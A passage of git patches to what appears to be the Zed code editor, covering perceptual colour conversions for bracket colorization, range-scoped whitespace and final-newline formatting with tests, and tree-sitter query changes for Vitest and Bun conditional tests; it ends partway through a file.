index 12138cb7f92ebe..70b4911e17c8bb 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -9640,6 +9640,13 @@ impl Editor {
         let theme_settings = theme_settings::ThemeSettings::get_global(cx);
         let theme = cx.theme();
         let accent_colors = theme.accents().clone();
+        let editor_background = theme.colors().editor_background;
+        let auto_accent_colors =
+            AccentColors(crate::bracket_colorization::bracket_colorization_accents(
+                &accent_colors.0,
+                theme.appearance,
+                editor_background,
+            ));
 
         let accent_overrides = theme_settings
             .theme_overrides
@@ -9659,7 +9666,7 @@ impl Editor {
             .collect();
 
         Some(AccentData {
-            colors: accent_colors,
+            colors: auto_accent_colors,
             overrides: accent_overrides,
         })
     }
diff --git a/crates/theme/src/color_space.rs b/crates/theme/src/color_space.rs
new file mode 100644
index 00000000000000..125dfa6d9d63eb
--- /dev/null
+++ b/crates/theme/src/color_space.rs
@@ -0,0 +1,76 @@
+//! Conversions between gpui's [`Hsla`] and the OKLab / OKLCh perceptual color
+//! spaces, backed by the `palette` crate.
+//!
+//! These are exposed so consumers can reason about perceptual color distance
+//! (e.g. bracket colorization) without taking a direct dependency on `palette`.
+
+use gpui::{Hsla, Rgba};
+use palette::{
+    FromColor, OklabHue,
+    rgb::{LinSrgba, Srgba},
+};
+
+/// A color in the OKLab perceptual color space.
+#[derive(Clone, Copy, Debug, PartialEq)]
+pub struct Oklab {
+    /// Perceptual lightness, in `0.0..=1.0`.
+    pub l: f32,
+    /// Green/red opponent axis.
+    pub a: f32,
+    /// Blue/yellow opponent axis.
+    pub b: f32,
+}
+
+/// A color in the OKLCh perceptual color space (the cylindrical form of OKLab).
+#[derive(Clone, Copy, Debug, PartialEq)]
+pub struct Oklch {
+    /// Perceptual lightness, in `0.0..=1.0`.
+    pub l: f32,
+    /// Chroma (colorfulness).
+    pub chroma: f32,
+    /// Hue, in degrees (`0.0..360.0`).
+    pub hue: f32,
+}
+
+/// Converts an [`Hsla`] color into the OKLab color space.
+pub fn hsla_to_oklab(color: Hsla) -> Oklab {
+    let oklab = palette::Oklab::from_color(hsla_to_linear(color));
+    Oklab {
+        l: oklab.l,
+        a: oklab.a,
+        b: oklab.b,
+    }
+}
+
+/// Converts an [`Hsla`] color into the OKLCh color space.
+pub fn hsla_to_oklch(color: Hsla) -> Oklch {
+    let oklch = palette::Oklch::from_color(hsla_to_linear(color));
+    Oklch {
+        l: oklch.l,
+        chroma: oklch.chroma,
+        hue: oklch.hue.into_positive_degrees(),
+    }
+}
+
+/// Converts an [`Oklch`] color back into [`Hsla`], using `alpha` for the
+/// resulting alpha channel. Channels outside the sRGB gamut are clamped.
+pub fn oklch_to_hsla(color: Oklch, alpha: f32) -> Hsla {
+    let oklch = palette::Oklch {
+        l: color.l,
+        chroma: color.chroma,
+        hue: OklabHue::from_degrees(color.hue),
+    };
+    let rgba: Srgba = Srgba::from_linear(LinSrgba::from_color(oklch));
+    let (red, green, blue, _) = rgba.into_components();
+    Hsla::from(Rgba {
+        r: red.clamp(0.0, 1.0),
+        g: green.clamp(0.0, 1.0),
+        b: blue.clamp(0.0, 1.0),
+        a: alpha,
+    })
+}
+
+fn hsla_to_linear(color: Hsla) -> LinSrgba {
+    let rgba = Rgba::from(color);
+    Srgba::new(rgba.r, rgba.g, rgba.b, rgba.a).into_linear()
+}
diff --git a/crates/theme/src/theme.rs b/crates/theme/src/theme.rs
index ab49877c6bb961..b973d8f25c19d8 100644
--- a/crates/theme/src/theme.rs
+++ b/crates/theme/src/theme.rs
@@ -8,6 +8,7 @@
 //!
 //! A theme is a collection of colors used to build a consistent appearance for UI components across the application.
 
+mod color_space;
 mod default_colors;
 mod fallback_themes;
 mod font_family_cache;
@@ -30,6 +31,7 @@ use gpui::{
 };
 use serde::Deserialize;
 
+pub use crate::color_space::*;
 pub use crate::default_colors::*;
 pub use crate::fallback_themes::{apply_status_color_defaults, apply_theme_color_defaults};
 pub use crate::font_family_cache::*;

From b206841b4b17f742d8a9028a526aea79ffb44360 Mon Sep 17 00:00:00 2001
From: G36maid <53391375+G36maid@users.noreply.github.com>
Date: Thu, 2 Jul 2026 01:36:36 +0800
Subject: [PATCH 198/772] Add range-based whitespace and newline removal to
 buffer formatting (#53942)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Summary

When formatting specific ranges (e.g. via Format Selections), trailing
whitespace removal and final newline enforcement currently operate on
the entire file. This PR makes these operations range-aware, so they
only affect lines within the target ranges.

As noted in #16509, users want `remove_trailing_whitespace_on_save` and
`ensure_final_newline_on_save` to suppress jitter by only touching
changed lines. This PR provides the foundational infrastructure for that
— range-based whitespace and newline operations — which a follow-up PR
will wire into the `format_on_save` modifications mode.

## Changes

- Added `remove_trailing_whitespace_in_ranges` and
`ensure_final_newline_in_range` to `Buffer`
- When a `FormattableBuffer` has ranges set, whitespace and newline
operations now use the range-based variants
- `format_ranges_via_lsp` returns `Ok(None)` instead of an error when
the LSP doesn't support range formatting
- Extracted `anchor_ranges_to_row_ranges` helper to deduplicate
conversion logic

<details><summary>Tests (4)</summary>

- `test_trailing_whitespace_in_ranges` — only modified lines have
whitespace removed
- `test_trailing_whitespace_empty_ranges` — empty ranges → no changes
- `test_final_newline_modified_last_line` — newline added when last line
is in range
- `test_final_newline_unmodified_last_line` — newline not added when
last line is outside range

</details>

---

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Improved Format Selection to scope trailing whitespace removal and
final newline enforcement to the selected range instead of the entire
file
- Improved handling of LSP servers that do not support range formatting
by gracefully skipping instead of producing an error

---------

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 crates/language/src/buffer.rs       | 110 ++++++++++----
 crates/language/src/buffer_tests.rs | 226 +++++++++++++++++++++++++++-
 crates/project/src/lsp_store.rs     |  53 +++++--
 3 files changed, 349 insertions(+), 40 deletions(-)

diff --git a/crates/language/src/buffer.rs b/crates/language/src/buffer.rs
index 413c50d2627914..d41143d12f5d89 100644
--- a/crates/language/src/buffer.rs
+++ b/crates/language/src/buffer.rs
@@ -2279,14 +2279,21 @@ impl Buffer {
         })
     }
 
-    /// Spawns a background task that searches the buffer for any whitespace
-    /// at the ends of a lines, and returns a `Diff` that removes that whitespace.
-    pub fn remove_trailing_whitespace(&self, cx: &App) -> Task<Diff> {
+    /// Spawns a background task that returns a `Diff` removing trailing whitespace from line ends.
+    ///
+    /// When `modified_rows` is `Some`, only lines whose row falls within one of the given ranges
+    /// are trimmed; when it is `None`, the whole buffer is scanned.
+    pub fn remove_trailing_whitespace(
+        &self,
+        modified_rows: Option<&[Range<u32>]>,
+        cx: &App,
+    ) -> Task<Diff> {
         let old_text = self.as_rope().clone();
         let line_ending = self.line_ending();
         let base_version = self.version();
+        let modified_rows = modified_rows.map(|rows| rows.to_vec());
         cx.background_spawn(async move {
-            let ranges = trailing_whitespace_ranges(&old_text);
+            let ranges = trailing_whitespace_ranges(&old_text, modified_rows.as_deref());
             let empty = Arc::<str>::from("");
             Diff {
                 base_version,
@@ -2299,28 +2306,60 @@ impl Buffer {
         })
     }
 
-    /// Ensures that the buffer ends with a single newline character, and
-    /// no other whitespace. Skips if the buffer is empty.
-    pub fn ensure_final_newline(&mut self, cx: &mut Context<Self>) {
+    /// Returns a `Diff` ensuring the buffer ends with a trailing newline.
+    ///
+    /// When `modified_rows` is `None`, the whole buffer is considered: trailing whitespace and
+    /// blank lines at the end of the file are collapsed into a single newline.
+    ///
+    /// When `modified_rows` is `Some`, the operation is scoped to a "Format Selection": a single
+    /// newline is appended only when the last line is non-empty and its row falls within one of
+    /// the ranges. Trailing blank lines are left intact so that formatting a selection cannot
+    /// delete unselected rows.
+    pub fn ensure_final_newline(&self, modified_rows: Option<&[Range<u32>]>) -> Diff {
         let len = self.len();
-        if len == 0 {
-            return;
-        }
-        let mut offset = len;
-        for chunk in self.as_rope().reversed_chunks_in_range(0..len) {
-            let non_whitespace_len = chunk
-                .trim_end_matches(|c: char| c.is_ascii_whitespace())
-                .len();
-            offset -= chunk.len();
-            offset += non_whitespace_len;
-            if non_whitespace_len != 0 {
-                if offset == len - 1 && chunk.get(non_whitespace_len..) == Some("\n") {
-                    return;
+        let line_ending = self.line_ending();
+        let base_version = self.version();
+        let newline = Arc::<str>::from("\n");
+
+        let edits = if len == 0 {
+            Vec::new()
+        } else if let Some(modified_rows) = modified_rows {
+            let max_point = self.max_point();
+            let last_line_is_empty = max_point.column == 0;
+            let last_row_is_modified = modified_rows
+                .iter()
+                .any(|range| range.contains(&max_point.row));
+            if last_line_is_empty || !last_row_is_modified {
+                Vec::new()
+            } else {
+                Vec::from([(len..len, newline)])
+            }
+        } else {
+            let mut offset = len;
+            let mut already_normalized = false;
+            for chunk in self.as_rope().reversed_chunks_in_range(0..len) {
+                let non_whitespace_len = chunk
+                    .trim_end_matches(|c: char| c.is_ascii_whitespace())
+                    .len();
+                offset -= chunk.len();
+                offset += non_whitespace_len;
+                if non_whitespace_len != 0 {
+                    already_normalized =
+                        offset == len - 1 && chunk.get(non_whitespace_len..) == Some("\n");
+                    break;
                 }
-                break;
             }
+            if already_normalized {
+                Vec::new()
+            } else {
+                Vec::from([(offset..len, newline)])
+            }
+        };
+        Diff {
+            base_version,
+            line_ending,
+            edits,
         }
-        self.edit([(offset..len, "\n")], None, cx);
     }
 
     /// Applies a diff to the buffer. If the buffer has changed since the given diff was
@@ -6133,10 +6172,24 @@ impl CharClassifier {
 ///
 /// This could also be done with a regex search, but this implementation
 /// avoids copying text.
-pub fn trailing_whitespace_ranges(rope: &Rope) -> Vec<Range<usize>> {
+/// Returns the byte ranges of trailing whitespace at the end of each line.
+///
+/// When `row_ranges` is `Some`, only lines whose row falls within one of the ranges are
+/// included. The single pass keeps filtering cheap, avoiding collecting every range up front.
+pub(crate) fn trailing_whitespace_ranges(
+    rope: &Rope,
+    row_ranges: Option<&[Range<u32>]>,
+) -> Vec<Range<usize>> {
     let mut ranges = Vec::new();
 
+    let is_row_included = |row: u32| match row_ranges {
+        Some(row_ranges) => row_ranges.iter().any(|range| range.contains(&row)),
+        None => true,
+    };
+
     let mut offset = 0;
+    let mut current_row: u32 = 0;
+    let mut prev_row: Option<u32> = None;
     let mut prev_chunk_trailing_whitespace_range = 0..0;
     for chunk in rope.chunks() {
         let mut prev_line_trailing_whitespace_range = 0..0;
@@ -6148,19 +6201,24 @@ pub fn trailing_whitespace_ranges(rope: &Rope) -> Vec<Range<usize>> {
             if i == 0 && trimmed_line_len == 0 {
                 trailing_whitespace_range.start = prev_chunk_trailing_whitespace_range.start;
             }
-            if !prev_line_trailing_whitespace_range.is_empty() {
-                ranges.push(prev_line_trailing_whitespace_range);
+            if let Some(row) = prev_row {
+                if !prev_line_trailing_whitespace_range.is_empty() && is_row_included(row) {
+                    ranges.push(prev_line_trailing_whitespace_range);
+                }
             }
 
+            prev_row = Some(current_row);
             offset = line_end_offset + 1;
+            current_row += 1;
             prev_line_trailing_whitespace_range = trailing_whitespace_range;
         }
 
         offset -= 1;
+        current_row -= 1;
         prev_chunk_trailing_whitespace_range = prev_line_trailing_whitespace_range;
     }
 
-    if !prev_chunk_trailing_whitespace_range.is_empty() {
+    if !prev_chunk_trailing_whitespace_range.is_empty() && is_row_included(current_row) {
         ranges.push(prev_chunk_trailing_whitespace_range);
     }
 
diff --git a/crates/language/src/buffer_tests.rs b/crates/language/src/buffer_tests.rs
index ba7fd7ea957f0b..cdcd90314cd7a5 100644
--- a/crates/language/src/buffer_tests.rs
+++ b/crates/language/src/buffer_tests.rs
@@ -571,7 +571,7 @@ async fn test_normalize_whitespace(cx: &mut gpui::TestAppContext) {
 
     // Spawn a task to format the buffer's whitespace.
     // Pause so that the formatting task starts running.
-    let format = buffer.update(cx, |buffer, cx| buffer.remove_trailing_whitespace(cx));
+    let format = buffer.update(cx, |buffer, cx| buffer.remove_trailing_whitespace(None, cx));
     yield_now().await;
 
     // Edit the buffer while the normalization task is running.
@@ -3792,7 +3792,7 @@ fn test_trailing_whitespace_ranges(mut rng: StdRng) {
     }
 
     let rope = Rope::from(text.as_str());
-    let actual_ranges = trailing_whitespace_ranges(&rope);
+    let actual_ranges = trailing_whitespace_ranges(&rope, None);
     let expected_ranges = TRAILING_WHITESPACE_REGEX
         .find_iter(&text)
         .map(|m| m.range())
@@ -3805,6 +3805,228 @@ fn test_trailing_whitespace_ranges(mut rng: StdRng) {
     );
 }
 
+#[gpui::test(iterations = 500)]
+fn test_trailing_whitespace_ranges_in_rows(mut rng: StdRng) {
+    let mut text = String::new();
+    for _ in 0..rng.random_range(0..16) {
+        for _ in 0..rng.random_range(0..36) {
+            text.push(match rng.random_range(0..10) {
+                0..=1 => ' ',
+                3 => '\t',
+                _ => rng.random_range('a'..='z'),
+            });
+        }
+        text.push('\n');
+    }
+    match rng.random_range(0..10) {
+        0..=1 => drop(text.pop()),
+        2..=3 => text.push_str(&"\n".repeat(rng.random_range(1..5))),
+        _ => {}
+    }
+
+    let rope = Rope::from(text.as_str());
+    let all_ranges = trailing_whitespace_ranges(&rope, None);
+    let lines = text.split('\n').collect::<Vec<_>>();
+
+    // A range covering every row must reproduce the unfiltered full scan exactly.
+    assert_eq!(
+        trailing_whitespace_ranges(&rope, Some(&[0..u32::MAX])),
+        all_ranges,
+        "full-coverage mismatch for lines:\n{lines:?}",
+    );
+
+    // For a random (possibly gappy) subset of rows, the filtered variant must equal
+    // the full scan restricted to ranges whose line is in the subset.
+    let max_row = rope.max_point().row;
+    let mut row_ranges = Vec::new();
+    let mut row = 0;
+    while row <= max_row {
+        let span = rng.random_range(0..=3);
+        if span > 0 {
+            let end = (row + span).min(max_row + 1);
+            row_ranges.push(row..end);
+            row = end;
+        }
+        row += 1;
+    }
+
+    let expected = all_ranges
+        .iter()
+        .filter(|range| {
+            let row = rope.offset_to_point(range.start).row;
+            row_ranges.iter().any(|r| r.contains(&row))
+        })
+        .cloned()
+        .collect::<Vec<_>>();
+    assert_eq!(
+        trailing_whitespace_ranges(&rope, Some(&row_ranges)),
+        expected,
+        "subset mismatch for ranges {row_ranges:?} and lines:\n{lines:?}",
+    );
+}
+
+#[gpui::test]
+async fn test_trailing_whitespace_in_ranges(cx: &mut gpui::TestAppContext) {
+    // line 0: "zero"      (no trailing whitespace)
+    // line 1: "one  "     (2 trailing spaces)
+    // line 2: "two"       (no trailing whitespace)
+    // line 3: "three   "  (3 trailing spaces)
+    // line 4: "four"      (no trailing whitespace)
+    // line 5: "five    "  (4 trailing spaces)
+    let text = ["zero", "one  ", "two", "three   ", "four", "five    "].join("\n");
+    let buffer = cx.new(|cx| Buffer::local(text, cx));
+
+    // Only rows 1 and 5 are modified, so only those lines get cleaned; line 3 stays untouched.
+    let modified_rows = [1u32..2, 5..6];
+    let diff = buffer
+        .update(cx, |buffer, cx| {
+            buffer.remove_trailing_whitespace(Some(&modified_rows), cx)
+        })
+        .await;
+    buffer.update(cx, |buffer, cx| {
+        buffer.apply_diff(diff, cx);
+        assert_eq!(
+            buffer.text(),
+            ["zero", "one", "two", "three   ", "four", "five"].join("\n")
+        );
+    });
+}
+
+#[gpui::test]
+async fn test_trailing_whitespace_empty_ranges(cx: &mut gpui::TestAppContext) {
+    let text = ["zero", "one  ", "two  "].join("\n");
+    let buffer = cx.new(|cx| Buffer::local(text.clone(), cx));
+
+    let diff = buffer
+        .update(cx, |buffer, cx| {
+            buffer.remove_trailing_whitespace(Some(&[]), cx)
+        })
+        .await;
+    buffer.update(cx, |buffer, cx| {
+        buffer.apply_diff(diff, cx);
+        assert_eq!(buffer.text(), text);
+    });
+}
+
+#[gpui::test]
+async fn test_final_newline_modified_last_line(cx: &mut gpui::TestAppContext) {
+    // No final newline; the modified range (rows 0..3) includes the last line (row 2).
+    let text = "line0\nline1\nline2";
+    let buffer = cx.new(|cx| Buffer::local(text, cx));
+
+    buffer.update(cx, |buffer, cx| {
+        let diff = buffer.ensure_final_newline(Some(&[0u32..3]));
+        buffer.apply_diff(diff, cx);
+        assert_eq!(buffer.text(), "line0\nline1\nline2\n");
+    });
+}
+
+#[gpui::test]
+async fn test_final_newline_unmodified_last_line(cx: &mut gpui::TestAppContext) {
+    // No final newline; the modified range (rows 0..2) excludes the last line (row 2), so nothing changes.
+    let text = "line0\nline1\nline2";
+    let buffer = cx.new(|cx| Buffer::local(text, cx));
+
+    buffer.update(cx, |buffer, cx| {
+        let diff = buffer.ensure_final_newline(Some(&[0u32..2]));
+        buffer.apply_diff(diff, cx);
+        assert_eq!(buffer.text(), "line0\nline1\nline2");
+    });
+}
+
+// An empty last line (file already ends with a newline) is left untouched, even with extra
+// trailing blank lines. With `None` these would collapse; scoped to rows they must not, to
+// avoid deleting unselected rows.
+#[gpui::test]
+async fn test_final_newline_does_not_collapse_trailing_blank_lines(cx: &mut gpui::TestAppContext) {
+    let text = "line0\nline1\n\n";
+    let buffer = cx.new(|cx| Buffer::local(text, cx));
+
+    buffer.update(cx, |buffer, cx| {
+        let diff = buffer.ensure_final_newline(Some(&[0u32..4]));
+        buffer.apply_diff(diff, cx);
+        assert_eq!(buffer.text(), "line0\nline1\n\n");
+    });
+}
+
+// When scoped to rows, only a newline is inserted; unlike the `None` (whole-buffer) case, it
+// does not trim trailing whitespace on the last line.
+#[gpui::test]
+async fn test_final_newline_in_range_only_inserts(cx: &mut gpui::TestAppContext) {
+    let text = "line0\nline1  ";
+    let buffer = cx.new(|cx| Buffer::local(text, cx));
+
+    buffer.update(cx, |buffer, cx| {
+        let diff = buffer.ensure_final_newline(Some(&[0u32..2]));
+        buffer.apply_diff(diff, cx);
+        assert_eq!(buffer.text(), "line0\nline1  \n");
+    });
+}
+
+#[gpui::test]
+async fn test_final_newline_whole_buffer(cx: &mut gpui::TestAppContext) {
+    // (input, expected) pairs for the whole-buffer (`None`) case.
+    let cases = [
+        // Content without a trailing newline gets exactly one appended.
+        ("line0\nline1", "line0\nline1\n"),
+        // A buffer already ending in a single newline is left untouched.
+        ("line0\nline1\n", "line0\nline1\n"),
+        // Trailing blank lines and whitespace at the end of the file collapse to one newline.
+        ("line0\nline1\n\n\n", "line0\nline1\n"),
+        ("line0\nline1  \n  ", "line0\nline1\n"),
+        // An empty buffer stays empty.
+        ("", ""),
+    ];
+
+    for (input, expected) in cases {
+        let buffer = cx.new(|cx| Buffer::local(input, cx));
+        buffer.update(cx, |buffer, cx| {
+            let diff = buffer.ensure_final_newline(None);
+            buffer.apply_diff(diff, cx);
+            assert_eq!(buffer.text(), expected, "wrong result for input {input:?}");
+        });
+    }
+}
+
+#[gpui::test]
+async fn test_trailing_whitespace_in_ranges_crlf(cx: &mut gpui::TestAppContext) {
+    let text = "zero\r\none  \r\ntwo\r\nthree   \r\nfour\r\nfive    ";
+    let buffer = cx.new(|cx| {
+        let buffer = Buffer::local(text, cx);
+        assert_eq!(buffer.line_ending(), LineEnding::Windows);
+        buffer
+    });
+
+    let modified_rows = [1u32..2, 5..6];
+    let diff = buffer
+        .update(cx, |buffer, cx| {
+            buffer.remove_trailing_whitespace(Some(&modified_rows), cx)
+        })
+        .await;
+    buffer.update(cx, |buffer, cx| {
+        buffer.apply_diff(diff, cx);
+        assert_eq!(buffer.text(), "zero\none\ntwo\nthree   \nfour\nfive");
+        assert_eq!(buffer.line_ending(), LineEnding::Windows);
+    });
+}
+
+#[gpui::test]
+async fn test_final_newline_in_range_crlf(cx: &mut gpui::TestAppContext) {
+    let text = "line0\r\nline1\r\nline2";
+    let buffer = cx.new(|cx| {
+        let buffer = Buffer::local(text, cx);
+        assert_eq!(buffer.line_ending(), LineEnding::Windows);
+        buffer
+    });
+
+    buffer.update(cx, |buffer, cx| {
+        let diff = buffer.ensure_final_newline(Some(&[0u32..3]));
+        buffer.apply_diff(diff, cx);
+        assert_eq!(buffer.text(), "line0\nline1\nline2\n");
+        assert_eq!(buffer.line_ending(), LineEnding::Windows);
+    });
+}
+
 #[gpui::test]
 fn test_words_in_range(cx: &mut gpui::App) {
     init_settings(cx, |_| {});
diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index feb1936c47a99f..e7ac11e773bade 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -1635,12 +1635,36 @@ impl LocalLspStore {
             .handle
             .read_with(cx, |buffer, _| buffer.max_point().row > 0);
 
+        // When formatting a selection, only the rows it spans may be touched.
+        let selection_row_ranges = buffer.ranges.as_ref().map(|ranges| {
+            buffer.handle.read_with(cx, |buffer, _cx| {
+                let snapshot = buffer.snapshot();
+                ranges
+                    .iter()
+                    .map(|range| {
+                        let start = range.start.to_point(&snapshot);
+                        let end = range.end.to_point(&snapshot);
+                        // A selection ending at column 0 of a row only includes that row's
+                        // preceding line break, not its content, so it shouldn't be trimmed.
+                        let end_row = if end.column == 0 && end.row > start.row {
+                            end.row
+                        } else {
+                            end.row + 1
+                        };
+                        start.row..end_row
+                    })
+                    .collect::<Vec<_>>()
+            })
+        });
+
         // handle whitespace formatting
         if settings.remove_trailing_whitespace_on_save {
             zlog::trace!(logger => "removing trailing whitespace");
             let diff = buffer
                 .handle
-                .read_with(cx, |buffer, cx| buffer.remove_trailing_whitespace(cx))
+                .read_with(cx, |buffer, cx| {
+                    buffer.remove_trailing_whitespace(selection_row_ranges.as_deref(), cx)
+                })
                 .await;
             extend_formatting_transaction(buffer, formatting_transaction_id, cx, |buffer, cx| {
                 buffer.apply_diff(diff, cx);
@@ -1649,8 +1673,11 @@ impl LocalLspStore {
 
         if settings.ensure_final_newline_on_save {
             zlog::trace!(logger => "ensuring final newline");
+            let diff = buffer.handle.read_with(cx, |buffer, _cx| {
+                buffer.ensure_final_newline(selection_row_ranges.as_deref())
+            });
             extend_formatting_transaction(buffer, formatting_transaction_id, cx, |buffer, cx| {
-                buffer.ensure_final_newline(cx);
+                buffer.apply_diff(diff, cx);
             })?;
         }
 
@@ -1925,6 +1952,7 @@ impl LocalLspStore {
                     )
                     .await
                     .context("Failed to format ranges via language server")?
+                    .unwrap_or_default()
                 } else {
                     zlog::trace!(logger => "formatting full");
                     Self::format_via_lsp(
@@ -2175,12 +2203,8 @@ impl LocalLspStore {
                             formatting_transaction_id,
                             cx,
                             |buffer, cx| {
-                                zlog::info!(
-                                    "Applying edits {edits:?}. Content: {:?}",
-                                    buffer.text()
-                                );
+                                zlog::trace!("Applying {} edits", edits.len());
                                 buffer.edit(edits, None, cx);
-                                zlog::info!("Applied edits. New Content: {:?}", buffer.text());
                             },
                         )?;
                     }
@@ -2322,14 +2346,18 @@ impl LocalLspStore {
         language_server: &Arc<LanguageServer>,
         settings: &LanguageSettings,
         cx: &mut AsyncApp,
-    ) -> Result<Vec<(Range<Anchor>, Arc<str>)>> {
+    ) -> Result<Option<Vec<(Range<Anchor>, Arc<str>)>>> {
         let capabilities = &language_server.capabilities();
         let range_formatting_provider = capabilities.document_range_formatting_provider.as_ref();
-        if range_formatting_provider == Some(&OneOf::Left(false)) {
-            anyhow::bail!(
-                "{} language server does not support range formatting",
+        if !matches!(
+            range_formatting_provider,
+            Some(OneOf::Left(true) | OneOf::Right(_))
+        ) {
+            log::debug!(
+                "Skipping range formatting: language server {} does not support range formatting",
                 language_server.name()
             );
+            return Ok(None);
         }
 
         let uri = file_path_to_lsp_url(abs_path)?;
@@ -2388,8 +2416,9 @@ impl LocalLspStore {
                 )
             })?
             .await
+            .map(Some)
         } else {
-            Ok(Vec::with_capacity(0))
+            Ok(Some(Vec::with_capacity(0)))
         }
     }
 

From d0802abdecadabc5c3248ebf75a466831f6dfbe4 Mon Sep 17 00:00:00 2001
From: "( Nechiforel David-Samuel ) NsdHSO" <nechiforelsamuel@gmail.com>
Date: Wed, 1 Jul 2026 20:36:57 +0300
Subject: [PATCH 199/772] grammars: Fix runnable gutter detection for
 `describe.skipIf` / `test.skipIf` in JS/TS/TSX (#60153)

I came across issue #60149 and wanted to help. The runnable gutter (play
button) was not showing for Vitest's conditional test wrappers like
it.skipIf(condition) and it.runIf(condition).
<img width="905" height="395" alt="image"
src="https://github.com/user-attachments/assets/7386ae4c-f2e6-4fe8-9e33-674d6821d3fa"
/>
<img width="972" height="787" alt="image"
src="https://github.com/user-attachments/assets/c7c55bb2-ed50-4ce0-ae31-af341ab9eb3a"
/>
<img width="167" height="488" alt="image"
src="https://github.com/user-attachments/assets/75e07913-390e-4674-a5fb-7113ffd1fa85"
/>

Closes #60149

Release Notes:

- Fixed runnable gutter detection for Vitest conditional test wrappers
(skipIf/runIf) in JS/TS/TSX files

---------

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 crates/grammars/src/javascript/outline.scm   |  14 +-
 crates/grammars/src/javascript/runnables.scm |  14 +-
 crates/grammars/src/tsx/outline.scm          |  14 +-
 crates/grammars/src/tsx/runnables.scm        |  14 +-
 crates/grammars/src/typescript/outline.scm   |  14 +-
 crates/grammars/src/typescript/runnables.scm |  14 +-
 crates/languages/src/typescript.rs           | 178 +++++++++++++++++++
 7 files changed, 250 insertions(+), 12 deletions(-)

diff --git a/crates/grammars/src/javascript/outline.scm b/crates/grammars/src/javascript/outline.scm
index ce6d9e6bd9469c..c87c53cbc28db1 100644
--- a/crates/grammars/src/javascript/outline.scm
+++ b/crates/grammars/src/javascript/outline.scm
@@ -169,6 +169,7 @@
   name: (_) @name) @item
 
 ; Add support for (node:test, bun:test and Jest) runnable
+; Also matches direct modifiers: .skip, .todo, .only, .failing (Jest, Bun, Vitest)
 ((call_expression
   function: [
     (identifier) @_name
@@ -188,7 +189,10 @@
       (identifier) @name
     ]))) @item
 
-; Add support for parameterized tests
+; Parameterized and conditional tests. Docs per runner:
+;   Jest:   https://jestjs.io/docs/api#testeachtablename-fn-timeout
+;   Vitest: https://vitest.dev/api/
+;   Bun:    https://bun.sh/docs/test/writing-tests#test-modifiers
 ((call_expression
   function: (call_expression
     function: (member_expression
@@ -199,7 +203,13 @@
       ]
       property: (property_identifier) @_property)
     (#any-of? @_name "it" "test" "describe" "context" "suite")
-    (#eq? @_property "each"))
+    (#any-of? @_property
+      ; Jest, Bun, Vitest
+      "each"
+      ; Vitest
+      "skipIf" "runIf"
+      ; Bun
+      "if" "todoIf"))
   arguments: (arguments
     .
     [
diff --git a/crates/grammars/src/javascript/runnables.scm b/crates/grammars/src/javascript/runnables.scm
index b410fb4d8cadd8..8b0b160c862179 100644
--- a/crates/grammars/src/javascript/runnables.scm
+++ b/crates/grammars/src/javascript/runnables.scm
@@ -1,5 +1,6 @@
 ; Add support for (node:test, bun:test and Jest) runnable
 ; Function expression that has `it`, `test` or `describe` as the function name
+; Also matches direct modifiers: .skip, .todo, .only, .failing (Jest, Bun, Vitest)
 ((call_expression
   function: [
     (identifier) @_name
@@ -20,7 +21,10 @@
     ])) @_js-test
   (#set! tag js-test))
 
-; Add support for parameterized tests
+; Parameterized and conditional tests. Docs per runner:
+;   Jest:   https://jestjs.io/docs/api#testeachtablename-fn-timeout
+;   Vitest: https://vitest.dev/api/
+;   Bun:    https://bun.sh/docs/test/writing-tests#test-modifiers
 ((call_expression
   function: (call_expression
     function: (member_expression
@@ -31,7 +35,13 @@
       ]
       property: (property_identifier) @_property)
     (#any-of? @_name "it" "test" "describe" "context" "suite")
-    (#eq? @_property "each"))
+    (#any-of? @_property
+      ; Jest, Bun, Vitest
+      "each"
+      ; Vitest
+      "skipIf" "runIf"
+      ; Bun
+      "if" "todoIf"))
   arguments: (arguments
     .
     [
diff --git a/crates/grammars/src/tsx/outline.scm b/crates/grammars/src/tsx/outline.scm
index 2c08c30ad587ff..19099b0076a87e 100644
--- a/crates/grammars/src/tsx/outline.scm
+++ b/crates/grammars/src/tsx/outline.scm
@@ -175,6 +175,7 @@
   name: (_) @name) @item
 
 ; Add support for (node:test, bun:test and Jest) runnable
+; Also matches direct modifiers: .skip, .todo, .only, .failing (Jest, Bun, Vitest)
 ((call_expression
   function: [
     (identifier) @_name
@@ -194,7 +195,10 @@
       (identifier) @name
     ]))) @item
 
-; Add support for parameterized tests
+; Parameterized and conditional tests. Docs per runner:
+;   Jest:   https://jestjs.io/docs/api#testeachtablename-fn-timeout
+;   Vitest: https://vitest.dev/api/
+;   Bun:    https://bun.sh/docs/test/writing-tests#test-modifiers
 ((call_expression
   function: (call_expression
     function: (member_expression
@@ -205,7 +209,13 @@
       ]
       property: (property_identifier) @_property)
     (#any-of? @_name "it" "test" "describe" "context" "suite")
-    (#any-of? @_property "each"))
+    (#any-of? @_property
+      ; Jest, Bun, Vitest
+      "each"
+      ; Vitest
+      "skipIf" "runIf"
+      ; Bun
+      "if" "todoIf"))
   arguments: (arguments
     .
     [
diff --git a/crates/grammars/src/tsx/runnables.scm b/crates/grammars/src/tsx/runnables.scm
index db1f69a2c22e5a..8b0b160c862179 100644
--- a/crates/grammars/src/tsx/runnables.scm
+++ b/crates/grammars/src/tsx/runnables.scm
@@ -1,5 +1,6 @@
 ; Add support for (node:test, bun:test and Jest) runnable
 ; Function expression that has `it`, `test` or `describe` as the function name
+; Also matches direct modifiers: .skip, .todo, .only, .failing (Jest, Bun, Vitest)
 ((call_expression
   function: [
     (identifier) @_name
@@ -20,7 +21,10 @@
     ])) @_js-test
   (#set! tag js-test))
 
-; Add support for parameterized tests
+; Parameterized and conditional tests. Docs per runner:
+;   Jest:   https://jestjs.io/docs/api#testeachtablename-fn-timeout
+;   Vitest: https://vitest.dev/api/
+;   Bun:    https://bun.sh/docs/test/writing-tests#test-modifiers
 ((call_expression
